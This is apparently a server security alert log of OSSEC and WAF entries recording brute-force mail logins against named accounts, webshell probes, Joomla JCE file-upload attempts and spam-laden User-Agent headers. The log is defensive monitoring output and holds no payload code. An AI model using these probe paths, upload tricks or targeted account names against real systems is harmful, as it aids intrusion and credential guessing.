2026-07-16 08:50:08 dovecot_login authenticator failed for H=([121.131.220.157]) [197.242.170.10]:53593: 535 Incorrect authentication data (set_id=support@globalgroupoman.com)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 106.247.22.181
country_id: 1835841
description:
2026-07-16 08:50:17 dovecot_login authenticator failed for H=(203-196-42-114.static.dsl.net.au) [106.247.22.181]:42049: 535 Incorrect authentication data (set_id=sajithkumar.pk)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 182.95.230.74
country_id: 1269750
description:
2026-07-16 08:55:27 dovecot_login authenticator failed for H=([14.51.67.158]) [182.95.230.74]:57162: 535 Incorrect authentication data (set_id=rdcentre@ibmcglobal.com)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 98.122.215.23
country_id: 6252001
description:
2026-07-16 08:55:58 dovecot_login authenticator failed for H=(mission-web-hosting.com) [98.122.215.23]:49902: 535 Incorrect authentication data (set_id=rdcentre)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 196.190.220.199
country_id: 337996
description:
2026-07-16 09:00:22 dovecot_login authenticator failed for H=([49.125.201.78]) [196.190.220.199]:56646: 535 Incorrect authentication data (set_id=corporate@globalgroupoman.com)


plugin: modsec
rule: 77210831
name: IM360 WAF: Rogue web site crawler
abuser: 103.87.142.137
country_id: 1269750
domain: globalgroupoman.com
description:
IM360 WAF: Rogue web site crawler||MVN:REQUEST_HEADERS:User-Agent||MV:Mozilla/5.0 <a href=\"https://delhi.delhihotelsqueen.com/call-girl-in-saket.html\">call girl in Saket</a> (Windows NT 5.1; U; en) Presto/2.10.229 Version/11.60||RSV:8.29||T:APACHE||


plugin: modsec
rule: 77839622
name: IM360 WAF: XML-RPC Suspicious blog attempt
abuser: 91.73.121.51
country_id: 290557
domain: travelinbh.com
description:
IM360 WAF: XML-RPC Suspicious blog attempt||Username:61284.travelinbh.com||ServerName:travelinbh.com||Method:metaWeblog.newPost||BlogID:1||TitleSHA:7f62616ce6f5a3027933648ab979337bf7ad191d||Title:0xaa44c877||RSV:8.29||T:APACHE||


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 58.65.96.141
country_id: 1835841
description:
2026-07-16 09:04:17 dovecot_login authenticator failed for H=(chernyshevskayarb-gw.transtelecom.net) [58.65.96.141]:41127: 535 Incorrect authentication data (set_id=cil@ibmcglobal.com)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 205.250.25.62
country_id: 6251999
description:
2026-07-16 09:11:10 dovecot_login authenticator failed for H=([182.31.36.202]) [205.250.25.62]:60306: 535 Incorrect authentication data (set_id=uaeindiab2b@ibmcglobal.com)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 155.4.31.215
country_id: 2661886
description:
2026-07-16 09:11:51 dovecot_login authenticator failed for H=h-155-4-31-215.a2204.priv.bahnhof.se ([111.26.62.42]) [155.4.31.215]:42890: 535 Incorrect authentication data (set_id=investmentmanager@ibmcglobal.com)


plugin: modsec
rule: 77316905
name: IM360 WAF: Block IP which is in the web-spammers RBL
abuser: 185.255.126.68
country_id: 3017382
domain: cochinbigbandshow.com
description:
IM360 WAF: Block IP which is in the web-spammers RBL||Rules:r77141095r77142192||MV:09-14.185.255.126.68||RSV:8.29||T:APACHE||


plugin: modsec
rule: 77210831
name: IM360 WAF: Rogue web site crawler
abuser: 103.87.142.137
country_id: 1269750
domain: globalgroupoman.com
description:
IM360 WAF: Rogue web site crawler||MVN:REQUEST_HEADERS:User-Agent||MV:Mozilla/5.0 <a href=\"https://delhi.delhihotelsqueen.com/call-girl-in-secunderabad.html\">Secunderabad call girls</a> (Windows NT 5.1; U; en) Presto/2.10.229 Version/11.60||RSV:8.29||T:APACHE||


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 128.185.197.42
country_id: 1269750
description:
2026-07-16 09:20:09 dovecot_login authenticator failed for H=([121.131.220.133]) [128.185.197.42]:58318: 535 Incorrect authentication data (set_id=mbt@globalgroupoman.com)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 63.78.215.208
country_id: 6252001
description:
2026-07-16 09:20:33 dovecot_login authenticator failed for H=([111.57.17.167]) [63.78.215.208]:37209: 535 Incorrect authentication data (set_id=mbt)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 101.13.4.120
country_id: 1668284
description:
2026-07-16 09:21:50 dovecot_login authenticator failed for H=(nsg-static-16.107.76.182-airtel.com) [101.13.4.120]:42924: 535 Incorrect authentication data (set_id=corporate@globalgroupoman.com)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 103.187.78.189
country_id: 1269750
description:
2026-07-16 09:22:03 dovecot_login authenticator failed for H=(p5df1e80e.dip0.t-ipconnect.de) [103.187.78.189]:36382: 535 Incorrect authentication data (set_id=corporate)


plugin: modsec
rule: 77140878
name: IM360 WAF: Infectors: Suspicious access attempt (webshell)!
abuser: 20.63.63.128
country_id: 6251999
domain: yukticlick.com
description:
IM360 WAF: Infectors: Suspicious access attempt (webshell)!||MVN:REQUEST_URI||WPU:||RSV:8.29||T:APACHE||MV:/wp-content/uploads/admin.php||SC:/home/yukticlick/public_html/wp-content||


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 106.247.22.181
country_id: 1835841
description:
2026-07-16 09:24:54 dovecot_login authenticator failed for H=(dynamic-adsl.movitel.co.mz) [106.247.22.181]:38504: 535 Incorrect authentication data (set_id=khalid@globalgroupoman.com)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 197.219.210.86
country_id: 1036973
description:
2026-07-16 09:25:28 dovecot_login authenticator failed for H=(ip-179.48.229.118.fiberlinkpe.net.br) [197.219.210.86]:34882: 535 Incorrect authentication data (set_id=khalid)


plugin: modsec
rule: 77469916
abuser: 103.253.24.90
country_id: 1880251
domain: ogocindia.com
description:
IM360 WAF: Unauthenticated editor-profile/file upload in Joomla Content Editor JCE before 2.9.99.5 (CVE-2026-48907)||MVN:FILES:profile_file||MV:jcefd4qvg9f.xml.php||RSV:8.29||T:APACHE||


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 41.89.128.6
country_id: 192950
description:
2026-07-16 09:29:50 dovecot_login authenticator failed for H=([192.111.134.12]) [41.89.128.6]:47932: 535 Incorrect authentication data (set_id=sajithkumar.pk@ibmcglobal.com)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 98.122.215.23
country_id: 6252001
description:
2026-07-16 09:29:27 dovecot_login authenticator failed for H=([49.124.147.102]) [98.122.215.23]:52756: 535 Incorrect authentication data (set_id=sajithkumar.pk@ibmcglobal.com)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 90.230.226.175
country_id: 2661886
description:
2026-07-16 09:35:50 dovecot_login authenticator failed for H=90-230-226-175-no2550.tbcn.telia.com ([184.185.2.1]) [90.230.226.175]:55724: 535 Incorrect authentication data (set_id=evin.joseph@ibmcglobal.com)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 196.25.113.220
country_id: 953987
description:
2026-07-16 09:36:05 dovecot_login authenticator failed for H=([14.51.12.142]) [196.25.113.220]:52351: 535 Incorrect authentication data (set_id=evin.joseph)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 197.219.208.58
country_id: 1036973
description:
2026-07-16 09:37:53 dovecot_login authenticator failed for H=([61.191.145.123]) [197.219.208.58]:33892: 535 Incorrect authentication data (set_id=rdcentre1@ibmcglobal.com)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 106.0.165.219
country_id: 1605651
description:
2026-07-16 09:38:12 dovecot_login authenticator failed for H=(bb121-6-81-59.singnet.com.sg) [106.0.165.219]:34922: 535 Incorrect authentication data (set_id=rdcentre1)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 210.177.143.61
country_id: 1819730
description:
2026-07-16 09:41:28 dovecot_login authenticator failed for H=(195-67-33-198.customer.telia.com) [210.177.143.61]:40452: 535 Incorrect authentication data (set_id=support@ibmcglobal.com)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 217.52.226.144
country_id: 357994
description:
2026-07-16 09:42:42 dovecot_login authenticator failed for H=([49.124.220.98]) [217.52.226.144]:60936: 535 Incorrect authentication data (set_id=nirmal@globalgroupoman.com)


plugin: modsec
rule: 77140878
name: IM360 WAF: Infectors: Suspicious access attempt (webshell)!
abuser: 104.46.228.113
country_id: 1861060
domain: stcinemas.co
description:
IM360 WAF: Infectors: Suspicious access attempt (webshell)!||MVN:REQUEST_URI||WPU:||RSV:8.29||T:APACHE||MV:/wp-content/uploads/admin.php||SC:/home/stcinemas/public_html/wp-content||


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 116.98.104.138
country_id: 1562822
description:
2026-07-16 09:48:53 dovecot_login authenticator failed for H=([218.21.37.250]) [116.98.104.138]:52626: 535 Incorrect authentication data (set_id=anoop.ps@ibmcglobal.com)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 197.242.170.10
country_id: 1036973
description:
2026-07-16 09:49:09 dovecot_login authenticator failed for H=([95.35.29.192]) [197.242.170.10]:59475: 535 Incorrect authentication data (set_id=anoop.ps)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 223.181.8.226
country_id: 1269750
description:
2026-07-16 09:50:37 dovecot_plain authenticator failed for H=(localhost) [223.181.8.226]:30574: 535 Incorrect authentication data (set_id=support@ddgalaxy.in)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 103.112.224.81
country_id: 1269750
description:
2026-07-16 09:52:08 dovecot_login authenticator failed for H=([60.12.106.119]) [103.112.224.81]:35815: 535 Incorrect authentication data (set_id=evin.joseph)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 81.43.179.194
country_id: 2510769
description:
2026-07-16 09:51:54 dovecot_login authenticator failed for H=194.red-81-43-179.staticip.rima-tde.net ([218.155.106.83]) [81.43.179.194]:43152: 535 Incorrect authentication data (set_id=evin.joseph@ibmcglobal.com)


plugin: modsec
rule: 77217210
name: IM360 WAF: Invalid HTTP Request Line
abuser: 38.171.210.2
country_id: 3625428
domain: metrodigitals.com
description:
IM360 WAF: Invalid HTTP Request Line||MVN:REQUEST_LINE||MV:GET http:/metrodigitals.com/component/content/article/pure-accoustics-speakers-2?Itemid=101&catid=18 HTTP/1.1||RSV:8.29||T:APACHE||


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 65.20.204.41
country_id: 99237
description:
2026-07-16 09:58:35 dovecot_login authenticator failed for H=([65.20.141.202]) [65.20.204.41]:56211: 535 Incorrect authentication data (set_id=evin.joseph@ibmcglobal.com)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 180.71.9.31
country_id: 1835841
description:
2026-07-16 09:58:49 dovecot_login authenticator failed for H=(176-111-152-79.airmax.pl) [180.71.9.31]:59404: 535 Incorrect authentication data (set_id=rdcentre1)


plugin: modsec
rule: 77469916
abuser: 103.160.213.217
country_id: 1643084
domain: interceptorglobal.in
description:
IM360 WAF: Unauthenticated editor-profile/file upload in Joomla Content Editor JCE before 2.9.99.5 (CVE-2026-48907)||MVN:FILES:profile_file||MV:nuclei-119169f7742266d62c74f8a3c5b5b8d9.xml.php||RSV:8.29||T:APACHE||


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 222.120.63.29
country_id: 1835841
description:
2026-07-16 09:58:19 dovecot_login authenticator failed for H=([184.185.2.254]) [222.120.63.29]:32842: 535 Incorrect authentication data (set_id=rdcentre1@ibmcglobal.com)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 182.95.176.122
country_id: 1269750
description:
2026-07-16 09:59:15 dovecot_login authenticator failed for H=([49.125.201.65]) [182.95.176.122]:52110: 535 Incorrect authentication data (set_id=evin.joseph)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 84.111.136.210
country_id: 294640
description:
2026-07-16 10:01:58 dovecot_login authenticator failed for H=([68.71.240.212]) [84.111.136.210]:51823: 535 Incorrect authentication data (set_id=rdcentre@ibmcglobal.com)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 205.209.67.3
country_id: 163843
description:
2026-07-16 10:02:14 dovecot_login authenticator failed for H=([220.180.107.193]) [205.209.67.3]:40524: 535 Incorrect authentication data (set_id=rdcentre)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 65.20.138.3
country_id: 99237
description:
2026-07-16 10:05:26 dovecot_login authenticator failed for H=([192.111.129.146]) [65.20.138.3]:33901: 535 Incorrect authentication data (set_id=rdcentre@ibmcglobal.com)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 27.72.46.152
country_id: 1562822
description:
2026-07-16 10:05:29 dovecot_login authenticator failed for H=(42-200-73-3.static.imsbiz.com) [27.72.46.152]:38083: 535 Incorrect authentication data (set_id=corporate@globalgroupoman.com)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 213.32.20.78
country_id: 3017382
description:
2026-07-16 10:05:54 dovecot_login authenticator failed for H=vps-5b692794.vps.ovh.net ([184.185.2.254]) [213.32.20.78]:59670: 535 Incorrect authentication data (set_id=corporate)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 196.190.43.161
country_id: 337996
description:
2026-07-16 10:06:22 dovecot_login authenticator failed for H=([125.45.143.162]) [196.190.43.161]:33556: 535 Incorrect authentication data (set_id=mail@kallanigroup.com)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 132.251.255.162
country_id: 3923057
description:
2026-07-16 10:15:09 dovecot_login authenticator failed for H=host-132-251-255-162.supernet.com.bo ([192.111.129.146]) [132.251.255.162]:38824: 535 Incorrect authentication data (set_id=uaeindiab2b@ibmcglobal.com)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 82.209.191.11
country_id: 2661886
description:
2026-07-16 10:15:27 dovecot_login authenticator failed for H=82-209-191-11.cust.bredband2.com ([67.201.39.9]) [82.209.191.11]:44272: 535 Incorrect authentication data (set_id=sajithkumar.pk)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 106.247.22.181
country_id: 1835841
description:
2026-07-16 10:15:08 dovecot_login authenticator failed for H=(node-abo.pool-182-53.dynamic.nt-isp.net) [106.247.22.181]:41960: 535 Incorrect authentication data (set_id=sajithkumar.pk@ibmcglobal.com)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 182.95.229.110
country_id: 1269750
description:
2026-07-16 10:17:32 dovecot_login authenticator failed for H=(187-50-194-182.customer.tdatabrasil.net.br) [182.95.229.110]:55560: 535 Incorrect authentication data (set_id=support)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 182.76.107.16
country_id: 1269750
description:
2026-07-16 10:17:19 dovecot_login authenticator failed for H=([110.45.150.219]) [182.76.107.16]:49838: 535 Incorrect authentication data (set_id=support@globalgroupoman.com)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 220.77.214.59
country_id: 1835841
description:
2026-07-16 10:19:39 dovecot_login authenticator failed for H=([49.124.149.54]) [220.77.214.59]:33988: 535 Incorrect authentication data (set_id=investmentmanager@ibmcglobal.com)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 151.0.154.194
country_id: 3175395
description:
2026-07-16 10:20:57 dovecot_login authenticator failed for H=151-0-154-194.ip281.fastwebnet.it ([182.73.109.194]) [151.0.154.194]:17620: 535 Incorrect authentication data (set_id=evin.joseph@ibmcglobal.com)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 65.20.205.197
country_id: 99237
description:
2026-07-16 10:21:18 dovecot_login authenticator failed for H=([194.154.92.163]) [65.20.205.197]:40227: 535 Incorrect authentication data (set_id=evin.joseph)


plugin: modsec
rule: 77210831
name: IM360 WAF: Rogue web site crawler
abuser: 5.157.5.3
country_id: 453733
domain: globalgroupoman.com
description:
IM360 WAF: Rogue web site crawler||MVN:REQUEST_HEADERS:User-Agent||MV:Mozilla/4.0 <a href=\"https://www.bankeela.com/lotto/350420/\">BANKEELA</a> (Windows NT 5.1; U; en) Presto/2.10.229 Version/11.60||RSV:8.29||T:APACHE||


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 65.20.174.49
country_id: 99237
description:
2026-07-16 10:25:13 dovecot_login authenticator failed for H=([94.97.85.162]) [65.20.174.49]:57776: 535 Incorrect authentication data (set_id=sunil@globalgroupoman.com)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 96.56.228.149
country_id: 6252001
description:
2026-07-16 10:25:26 dovecot_login authenticator failed for H=ool-6038e495.static.optonline.net (openemm.lansystems.it) [96.56.228.149]:35538: 535 Incorrect authentication data (set_id=sunil)


plugin: modsec
rule: 77217210
name: IM360 WAF: Invalid HTTP Request Line
abuser: 103.174.99.112
country_id: 1168579
domain: keralapeople.com
description:
IM360 WAF: Invalid HTTP Request Line||MVN:REQUEST_LINE||MV:GET http:/keralapeople.com/detail/6b2337234 HTTP/1.1||RSV:8.29||T:APACHE||


plugin: modsec
rule: 77469916
abuser: 172.233.161.200
country_id: 6252001
domain: alnayza.com
description:
IM360 WAF: Unauthenticated editor-profile/file upload in Joomla Content Editor JCE before 2.9.99.5 (CVE-2026-48907)||MVN:FILES:profile_file||MV:s315290.xml.php||RSV:8.29||T:APACHE||


plugin: modsec
rule: 77140878
name: IM360 WAF: Infectors: Suspicious access attempt (webshell)!
abuser: 62.60.130.210
country_id: 130758
domain: metrodigitals.com
description:
IM360 WAF: Infectors: Suspicious access attempt (webshell)!||MVN:REQUEST_URI||WPU:||RSV:8.29||T:APACHE||MV:/assets/images/images/cache.php||SC:/home/metrodigitals/public_html/assets||


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 2.55.85.4
country_id: 294640
description:
2026-07-16 10:31:53 dovecot_login authenticator failed for H=([222.101.131.150]) [2.55.85.4]:48362: 535 Incorrect authentication data (set_id=corporate@globalgroupoman.com)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 196.189.59.226
country_id: 337996
description:
2026-07-16 10:32:14 dovecot_login authenticator failed for H=([200.216.172.182]) [196.189.59.226]:36783: 535 Incorrect authentication data (set_id=corporate)


plugin: modsec
rule: 77210831
name: IM360 WAF: Rogue web site crawler
abuser: 103.87.142.137
country_id: 1269750
domain: globalgroupoman.com
description:
IM360 WAF: Rogue web site crawler||MVN:REQUEST_HEADERS:User-Agent||MV:Mozilla/5.0 <a href=\"https://delhi.delhihotelsqueen.com/call-girl-in-indirapuram.html\">Indirapuram call girls</a> (Windows NT 5.1; U; en) Presto/2.10.229 Version/11.60||RSV:8.29||T:APACHE||


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 122.185.101.50
country_id: 1269750
description:
2026-07-16 10:39:27 dovecot_login authenticator failed for H=([72.37.217.1]) [122.185.101.50]:33342: 535 Incorrect authentication data (set_id=sunil@globalgroupoman.com)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 196.0.34.106
country_id: 226074
description:
2026-07-16 10:39:29 dovecot_login authenticator failed for H=([182.225.134.13]) [196.0.34.106]:54153: 535 Incorrect authentication data (set_id=corporate@globalgroupoman.com)


plugin: modsec
rule: 77318023
name: IM360 WAF: Old style account creation and modification in Joomla!
abuser: 207.180.19.106
country_id: 1643084
domain: cochinbigbandshow.com
description:
IM360 WAF: Old style account creation and modification in Joomla!||MVN:ARGS:view||MV:registration||RSV:8.29||T:APACHE||


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 213.32.20.78
country_id: 3017382
description:
2026-07-16 10:39:39 dovecot_login authenticator failed for H=vps-5b692794.vps.ovh.net ([59.20.85.112]) [213.32.20.78]:45898: 535 Incorrect authentication data (set_id=sunil)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 103.67.152.201
country_id: 1269750
description:
2026-07-16 10:39:38 dovecot_login authenticator failed for H=(218.pool90-160-135.dynamic.orange.es) [103.67.152.201]:45472: 535 Incorrect authentication data (set_id=evin.joseph@ibmcglobal.com)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 101.13.5.30
country_id: 1668284
description:
2026-07-16 10:40:01 dovecot_login authenticator failed for H=([98.170.57.236]) [101.13.5.30]:56020: 535 Incorrect authentication data (set_id=evin.joseph)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 103.90.27.83
country_id: 1643084
description:
2026-07-16 10:45:58 dovecot_login authenticator failed for H=([72.37.216.65]) [103.90.27.83]:38766: 535 Incorrect authentication data (set_id=support@ibmcglobal.com)


plugin: modsec
rule: 77469916
abuser: 103.160.213.217
country_id: 1643084
domain: stcinemas.co
description:
IM360 WAF: Unauthenticated editor-profile/file upload in Joomla Content Editor JCE before 2.9.99.5 (CVE-2026-48907)||MVN:FILES:profile_file||MV:nuclei-910e1b523162c5a0dd8a5196dcbc91e1.xml.php||RSV:8.29||T:APACHE||


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 85.105.255.56
country_id: 298795
description:
2026-07-16 10:47:43 dovecot_login authenticator failed for H=([223.107.72.234]) [85.105.255.56]:33026: 535 Incorrect authentication data (set_id=support@globalgroupoman.com)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 90.230.168.26
country_id: 2661886
description:
2026-07-16 10:48:43 dovecot_login authenticator failed for H=90-230-168-26-no600.tbcn.telia.com (host217-41-62-162.in-addr.btopenworld.com) [90.230.168.26]:54106: 535 Incorrect authentication data (set_id=uaeindiab2b@ibmcglobal.com)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 196.188.93.169
country_id: 337996
description:
2026-07-16 10:55:09 dovecot_login authenticator failed for H=(wsip-70-183-221-190.br.br.cox.net) [196.188.93.169]:5305: 535 Incorrect authentication data (set_id=prasad.k@ibmcglobal.com)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 218.156.93.202
country_id: 1835841
description:
2026-07-16 10:55:32 dovecot_login authenticator failed for H=([83.220.245.109]) [218.156.93.202]:40151: 535 Incorrect authentication data (set_id=prasad.k)


plugin: modsec
rule: 77217210
name: IM360 WAF: Invalid HTTP Request Line
abuser: 148.222.132.17
country_id: 3996063
domain: keralapeople.com
description:
IM360 WAF: Invalid HTTP Request Line||MVN:REQUEST_LINE||MV:GET http:/keralapeople.com/detail/3c195137 HTTP/1.1||RSV:8.29||T:APACHE||


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 196.190.220.168
country_id: 337996
description:
2026-07-16 11:00:56 dovecot_login authenticator failed for H=([124.88.174.143]) [196.190.220.168]:46114: 535 Incorrect authentication data (set_id=evin.joseph@ibmcglobal.com)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 155.4.31.215
country_id: 2661886
description:
2026-07-16 11:01:15 dovecot_login authenticator failed for H=h-155-4-31-215.a2204.priv.bahnhof.se ([166.180.111.128]) [155.4.31.215]:50798: 535 Incorrect authentication data (set_id=evin.joseph)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 131.161.184.46
country_id: 3865483
description:
2026-07-16 11:05:37 dovecot_login authenticator failed for H=([103.153.12.245]) [131.161.184.46]:58540: 535 Incorrect authentication data (set_id=cil@ibmcglobal.com)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 182.95.181.50
country_id: 1269750
description:
2026-07-16 11:05:44 dovecot_login authenticator failed for H=([117.177.235.249]) [182.95.181.50]:53170: 535 Incorrect authentication data (set_id=rdcentre@ibmcglobal.com)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 118.220.149.121
country_id: 1835841
description:
2026-07-16 11:05:46 dovecot_login authenticator failed for H=([183.171.61.221]) [118.220.149.121]:45736: 535 Incorrect authentication data (set_id=cil)


plugin: modsec
rule: 77469916
abuser: 172.233.161.200
country_id: 6252001
domain: ogocindia.com
description:
IM360 WAF: Unauthenticated editor-profile/file upload in Joomla Content Editor JCE before 2.9.99.5 (CVE-2026-48907)||MVN:FILES:profile_file||MV:s770971.xml.php||RSV:8.29||T:APACHE||


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 110.136.126.131
country_id: 1643084
description:
2026-07-16 11:05:28 dovecot_login authenticator failed for H=([192.111.137.33]) [110.136.126.131]:45000: 535 Incorrect authentication data (set_id=cil@ibmcglobal.com)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 122.184.118.126
country_id: 1269750
description:
2026-07-16 11:06:17 dovecot_login authenticator failed for H=([196.0.113.110]) [122.184.118.126]:47052: 535 Incorrect authentication data (set_id=prasad.k)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 59.8.107.113
country_id: 1835841
description:
2026-07-16 11:05:56 dovecot_login authenticator failed for H=([209.173.10.75]) [59.8.107.113]:56437: 535 Incorrect authentication data (set_id=rdcentre)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 197.219.208.58
country_id: 1036973
description:
2026-07-16 11:06:04 dovecot_login authenticator failed for H=([175.200.178.138]) [197.219.208.58]:39060: 535 Incorrect authentication data (set_id=prasad.k@ibmcglobal.com)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 91.86.92.45
country_id: 2802361
description:
2026-07-16 11:09:05 dovecot_login authenticator failed for H=(ipmapt-72-195-34-50.oc.oc.cox.net) [91.86.92.45]:58899: 535 Incorrect authentication data (set_id=bernadetta@ibmcglobal.com)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 37.157.91.62
country_id: 453733
description:
2026-07-16 11:09:57 dovecot_login authenticator failed for H=62-91-157-37.dyn.estpak.ee ([116.88.116.62]) [37.157.91.62]:42006: 535 Incorrect authentication data (set_id=bernadetta)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 119.192.210.110
country_id: 1835841
description:
2026-07-16 11:14:35 dovecot_login authenticator failed for H=(nsg-corporate-122.237.187.122.airtel.in) [119.192.210.110]:37788: 535 Incorrect authentication data (set_id=anoop.ps@ibmcglobal.com)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 217.211.208.125
country_id: 2661886
description:
2026-07-16 11:13:58 dovecot_login authenticator failed for H=217-211-208-125-no2550.tbcn.telia.com ([49.124.151.14]) [217.211.208.125]:50424: 535 Incorrect authentication data (set_id=mail@kallanigroup.com)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 111.70.29.151
country_id: 1668284
description:
2026-07-16 11:15:06 dovecot_login authenticator failed for H=111-70-29-151.emome-ip.hinet.net (ipmapt-72-195-114-165.oc.oc.cox.net) [111.70.29.151]:50958: 535 Incorrect authentication data (set_id=anoop.ps)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 182.95.61.82
country_id: 1269750
description:
2026-07-16 11:15:09 dovecot_login authenticator failed for H=([118.183.180.108]) [182.95.61.82]:47930: 535 Incorrect authentication data (set_id=uaeindiab2b@ibmcglobal.com)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 79.136.8.69
country_id: 2661886
description:
2026-07-16 11:15:29 dovecot_login authenticator failed for H=h-79-136-8-69.a463.priv.bahnhof.se (testmft.sedgwick.com) [79.136.8.69]:44670: 535 Incorrect authentication data (set_id=uaeindiab2b)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 197.219.228.246
country_id: 1036973
description:
2026-07-16 11:18:58 dovecot_login authenticator failed for H=(syn-024-105-160-100.biz.spectrum.com) [197.219.228.246]:56600: 535 Incorrect authentication data (set_id=sunil@globalgroupoman.com)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 51.162.192.62
country_id: 1733045
description:
2026-07-16 11:19:20 dovecot_login authenticator failed for H=(faculdadeunica.static.gvt.net.br) [51.162.192.62]:53049: 535 Incorrect authentication data (set_id=sunil)


plugin: modsec
rule: 77469916
abuser: 37.120.146.41
country_id: 2921044
domain: alnayza.com
description:
IM360 WAF: Unauthenticated editor-profile/file upload in Joomla Content Editor JCE before 2.9.99.5 (CVE-2026-48907)||MVN:FILES:profile_file||MV:jcei30uovcr.xml.php||RSV:8.29||T:APACHE||


plugin: modsec
rule: 77210831
name: IM360 WAF: Rogue web site crawler
abuser: 103.197.170.18
country_id: 1819730
domain: globalgroupoman.com
description:
IM360 WAF: Rogue web site crawler||MVN:REQUEST_HEADERS:User-Agent||MV:Mozilla/4.0 <a href=\"https://kingslot96.godaddysites.com/\">kingslot96</a> (Windows NT 5.1; U; en) Presto/2.10.229 Version/11.60||RSV:8.29||T:APACHE||


plugin: modsec
rule: 77140878
name: IM360 WAF: Infectors: Suspicious access attempt (webshell)!
abuser: 4.213.167.22
country_id: 1269750
domain: interceptorglobal.in
description:
IM360 WAF: Infectors: Suspicious access attempt (webshell)!||MVN:REQUEST_URI||WPU:||RSV:8.29||T:APACHE||MV:/wp-content/uploads/admin.php||SC:/home/interceptorgloba/public_html/wp-content||


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 101.13.6.86
country_id: 1668284
description:
2026-07-16 11:30:41 dovecot_login authenticator failed for H=([49.124.152.25]) [101.13.6.86]:34848: 535 Incorrect authentication data (set_id=sajithkumar.pk@ibmcglobal.com)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 94.16.17.140
country_id: 2921044
description:
2026-07-16 11:32:35 dovecot_login authenticator failed for H=([49.124.132.6]) [94.16.17.140]:58946: 535 Incorrect authentication data (set_id=prasad.k)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 121.131.220.152
country_id: 1835841
description:
2026-07-16 11:32:09 dovecot_login authenticator failed for H=([183.171.15.68]) [121.131.220.152]:52082: 535 Incorrect authentication data (set_id=prasad.k@ibmcglobal.com)


plugin: modsec
rule: 77469916
abuser: 172.233.161.200
country_id: 6252001
domain: globalgroupoman.com
description:
IM360 WAF: Unauthenticated editor-profile/file upload in Joomla Content Editor JCE before 2.9.99.5 (CVE-2026-48907)||MVN:FILES:profile_file||MV:s301013.xml.php||RSV:8.29||T:APACHE||


